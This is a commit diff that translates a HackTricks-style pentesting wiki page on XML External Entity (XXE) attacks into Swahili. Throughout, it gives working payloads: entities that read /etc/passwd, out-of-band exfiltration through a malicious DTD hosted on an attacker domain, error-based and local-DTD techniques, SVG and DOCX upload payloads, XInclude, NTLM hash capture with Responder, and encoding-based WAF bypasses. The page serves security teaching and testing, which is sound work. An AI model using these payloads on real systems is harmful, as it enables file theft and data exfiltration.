Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to sw

This commit is contained in:
Translator 2025-07-28 12:29:51 +00:00
parent ac3d7f7f6d
commit 3cf9b268c9

View File

@ -1,21 +1,16 @@
# XXE - XEE - XML External Entity
{{#include /banners/hacktricks-training.md}}
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}}
## Msingi wa XML
XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwepo kwa mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinawezesha uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `&lt;` na `&gt;`, ambayo yanalingana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinawezesha uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `&lt;` na `&gt;`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
- **Kufafanua Vipengele vya XML**: XML inaruhusu ufafanuzi wa aina za vipengele, ikielezea jinsi vipengele vinavyopaswa kuundwa na ni maudhui gani yanaweza kuwa nayo, kuanzia aina yoyote ya maudhui hadi vipengele maalum vya watoto.
- **Mwelekeo wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopaswa kuandikwa na kuthibitishwa.
- **Vitu vya Kawaida na vya Nje**: XML inasaidia uundaji wa vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Kwa ajili ya kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kinachodhibitiwa, ili kuthibitisha udhaifu.
- **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopaswa kuandikwa na kuthibitishwa.
- **Vitu vya Kawaida na vya Nje**: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Ili kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -38,7 +33,7 @@ Katika shambulio hili nitajaribu kuona kama tangazo rahisi la KITU kipya linafan
### Soma faili
Hebu tujaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
Hebu jaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
Katika kesi hii ya kwanza, angalia kwamba SYSTEM "_**file:///**etc/passwd_" pia itafanya kazi.
```xml
@ -96,7 +91,7 @@ Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva un
```
### "Blind" SSRF - Exfiltrate data out-of-band
**Katika tukio hili tutafanya server iandae DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
**Katika tukio hili tutafanya server i-load DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa ili kuhamasisha data:
@ -126,17 +121,17 @@ Mshambuliaji anahifadhi DTD hii mbaya kwenye seva chini ya udhibiti wao, kawaida
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Hii payload in定义 XML parameter entity `%xxe` na kuijumuisha ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuvuja kwa faili ya `/etc/hostname` hadi seva ya mshambuliaji.
Hii payload in定义 XML parameter entity `%xxe` na kuingiza ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwa seva ya mshambuliaji.
### Makosa Yanayotokana na (External DTD)
**Katika kesi hii tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa makosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
Ujumbe wa kosa wa uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia DTD ya nje mbaya. Hii inafanywa kupitia hatua zifuatazo:
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia DTD ya nje mbaya. Hii inafanywa kupitia hatua zifuatazo:
1. XML parameter entity inayoitwa `file` inafafanuliwa, ambayo ina maudhui ya faili ya `/etc/passwd`.
2. XML parameter entity inayoitwa `eval` inafafanuliwa, ikijumuisha tangazo la dinamik kwa XML parameter entity nyingine inayoitwa `error`. Hii `error` entity, inapothibitishwa, inajaribu kupakia faili isiyopo, ikijumuisha maudhui ya `file` entity kama jina lake.
3. `eval` entity inaitwa, ikisababisha tangazo la dinamik la `error` entity.
2. XML parameter entity inayoitwa `eval` inafafanuliwa, ikijumuisha tangazo la dynamic kwa XML parameter entity nyingine inayoitwa `error`. Hii `error` entity, inapothibitishwa, inajaribu kupakia faili isiyopo, ikijumuisha maudhui ya `file` entity kama jina lake.
3. `eval` entity inaitwa, ikisababisha tangazo la dynamic la `error` entity.
4. Kuitwa kwa `error` entity kunasababisha jaribio la kupakia faili isiyopo, ikizalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
DTD mbaya ya nje inaweza kuitwa kwa XML ifuatayo:
@ -149,15 +144,15 @@ Upon execution, the web server's response should include an error message displa
![](<../images/image (809).png>)
_**Tafadhali notice kwamba DTD ya nje inatupa uwezo wa kujumuisha entiti moja ndani ya `eval` ya pili, lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
_**Tafadhali notice kwamba DTD ya nje inatuhitaji kujumuisha kiumbe kimoja ndani ya `eval` ya pili, lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
### **Kosa Kulingana na (system DTD)**
### **Kosa Kulingana (system DTD)**
Hivyo kuhusu udhaifu wa XXE kipofu wakati **mawasiliano ya nje yamezuiwa** (muunganisho wa nje haupo)?
Kipengele katika mwelekeo wa lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa entiti zilizotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa entiti ya parameter ya XML, ambayo awali ilitangazwa katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
Kipengele katika maelezo ya lugha ya XML kinaweza **kuonyesha data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa kigezo cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja entiti inayoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mseto kama ifuatavyo:
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja kiumbe kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mseto kama ifuatavyo:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -170,13 +165,13 @@ Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/a
%local_dtd;
]>
```
The outlined steps are executed by this DTD:
Hatua zilizoelezwa zinafanywa na hii DTD:
- Mwelekeo wa kituo cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
- Ufafanuzi mpya unafanyika kwa kituo cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjika kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
- Kwa kutumia kituo cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
- Mwelekeo wa kigezo cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva.
- Ufafanuzi mpya unafanyika kwa kigezo cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjwa kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`.
- Kwa kutumia kigezo cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji.
**Real world example:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kituo kinachoitwa `ISOamso`
**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi huwa na DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kigezo kinachoitwa `ISOamso`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -210,7 +205,7 @@ Katika repo nzuri ya github ifuatayo unaweza kupata **njia za DTDs ambazo zinawe
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathirika**, unaweza kutumia chombo cha repo hiyo hiyo ili **kuchunguza** **picha** na **kupata** njia ya **DTDs** zilizopo ndani ya mfumo. Soma [Readme ya github](https://github.com/GoSecure/dtd-finder) kujifunza jinsi.
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathirika**, unaweza kutumia zana ya repo hiyo hiyo ili **kuchunguza** **picha** na **kupata** njia ya **DTDs** zilizopo ndani ya mfumo. Soma [Readme ya github](https://github.com/GoSecure/dtd-finder) kujifunza jinsi.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -228,30 +223,30 @@ Kwa maelezo ya kina zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [
Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji bila shaka kuchambua angalau faili moja ya XML.
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye mzigo wa XXE**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye XXE payload**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa.
Mara hati inapokuwa imefunguliwa, faili ya XML iliyoko katika `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ikianza na ombi la HTTP.
Mara hati inapofunguliwa, faili ya XML iliyoko katika `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa katika mhariri wa maandiko unaopendelea (kama vim). XML inapaswa kubadilishwa ili kujumuisha XXE payload inayotakiwa, mara nyingi ikianza na ombi la HTTP.
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya mzizi wa XML. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya XML vya mzizi. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi.
Hatimaye, faili inaweza kufungashwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:
Hatimaye, faili inaweza kufungiwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa:
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini ombi kuonekana katika kumbukumbu za Burp Collaborator.
### Jar: protokali
Protokali ya **jar** inapatikana pekee ndani ya **programu za Java**. Imepangwa kuwezesha ufikiaji wa faili ndani ya archive ya **PKZIP** (mfano, `.zip`, `.jar`, nk), ikihudumia faili za ndani na za mbali.
**jar** protokali inapatikana pekee ndani ya **programu za Java**. Imepangwa kuwezesha ufikiaji wa faili ndani ya **PKZIP** archive (mfano, `.zip`, `.jar`, nk), ikihudumia faili za ndani na za mbali.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
> [!CAUTION]
> Ili kuwa na uwezo wa kufikia faili ndani ya faili za PKZIP ni **faida kubwa kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
> Ili kuwa na uwezo wa kufikia faili ndani ya faili za PKZIP ni **faida kubwa katika kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Mchakato wa kufikia faili ndani ya archive ya PKZIP kupitia protokali ya jar unajumuisha hatua kadhaa:
1. Ombi la HTTP linafanywa kupakua archive ya zip kutoka mahali maalum, kama `https://download.website.com/archive.zip`.
2. Jibu la HTTP linaloelezea archive linawekwa kwa muda kwenye mfumo, kawaida katika mahali kama `/tmp/...`.
1. Ombi la HTTP linafanywa ili kupakua archive ya zip kutoka mahali fulani, kama `https://download.website.com/archive.zip`.
2. Jibu la HTTP linaloelezea archive linahifadhiwa kwa muda kwenye mfumo, kawaida katika eneo kama `/tmp/...`.
3. Archive hiyo inachukuliwa ili kufikia maudhui yake.
4. Faili maalum ndani ya archive, `file.zip`, inasomwa.
5. Baada ya operesheni, faili zozote za muda zilizoundwa wakati wa mchakato huu zinafuta.
@ -262,7 +257,7 @@ Mbinu ya kuvutia ya kuingilia kati mchakato huu katika hatua ya pili inahusisha
<foo>&xxe;</foo>
```
> [!CAUTION]
> Kuandika faili katika directory ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha usafiri wa njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, deserialization, nk).
> Kuandika faili katika saraka ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha usafiri wa njia** (kama vile kujumuisha faili za ndani, sindikiza templeti, XSLT RCE, deserialization, nk).
### XSS
```xml
@ -299,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
#### Kupata NTML
Katika mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka handler ya responder.py:
Katika mwenyeji wa Windows inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka handler ya responder.py:
```bash
Responder.py -I eth0 -v
```
@ -317,19 +312,19 @@ Kisha unaweza kujaribu kuvunja hash kwa kutumia hashcat
Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, ukikandamiza mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu kuingizwa kwa viumbe vya nje ndani ya kipengele chochote cha data cha hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa.
Ili kutekeleza shambulio la `XInclude`, jina la eneo la `XInclude` lazima litangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa:
Ili kutekeleza shambulio la `XInclude`, nafasi ya `XInclude` lazima itangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuundwa:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
Tazama [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
### SVG - Upakuaji wa Faili
### SVG - File Upload
Faili zinazopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Muundo wa kawaida wa faili kama hati za ofisi (DOCX) na picha (SVG) unategemea XML.
Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Muundo wa kawaida wa faili kama hati za ofisi (DOCX) na picha (SVG) unategemea XML.
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa XXE (XML External Entity) udhaifu.
Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa XXE (XML External Entity) vulnerabilities.
Mfano wa aina hii ya shambulio umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:
Mfano wa exploit kama hiyo umeonyeshwa hapa chini, ambapo picha ya SVG yenye uharibifu inajaribu kusoma faili za mfumo:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
@ -403,7 +398,7 @@ Content-Type: application/xml;charset=UTF-8
```
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Ulinzi Bypasses
## WAF & Mipango ya Kulinda
### Base64
```xml
@ -413,7 +408,7 @@ Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya `data://`.
### UTF-7
Unaweza kutumia \[**"Encode Recipe**" ya cyberchef hapa]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kuwa UTF-7.
Unaweza kutumia \[**"Encode Recipe**" ya cyberchef hapa ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kuwa UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -461,7 +456,7 @@ Mfano wa DTD:
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Utekelezaji wa msimbo wa mbali
### Remote code execution
**Ikiwa moduli ya PHP "expect" imepakuliwa**
```xml
@ -519,9 +514,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha tabia ya newline, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
Uhamishaji wa Data Kulingana na Makosa Ili kushinda kikwazo hiki, mbinu ya Kulingana na Makosa inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha kosa ambalo linajumuisha data kutoka kwa faili lengwa:
Uhamishaji wa Data kwa Msingi wa Hitilafu Ili kushinda kikwazo hiki, mbinu ya Msingi wa Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -532,14 +527,14 @@ Server inajibu kwa kosa, muhimu kuonyesha faili isiyopo, ikionyesha kwamba serve
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Ili kujumuisha maudhui ya faili katika ujumbe wa kosa, faili la DTD linaweza kubadilishwa:
Ili kujumuisha maudhui ya faili katika ujumbe wa kosa, faili la DTD linarekebishwa:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
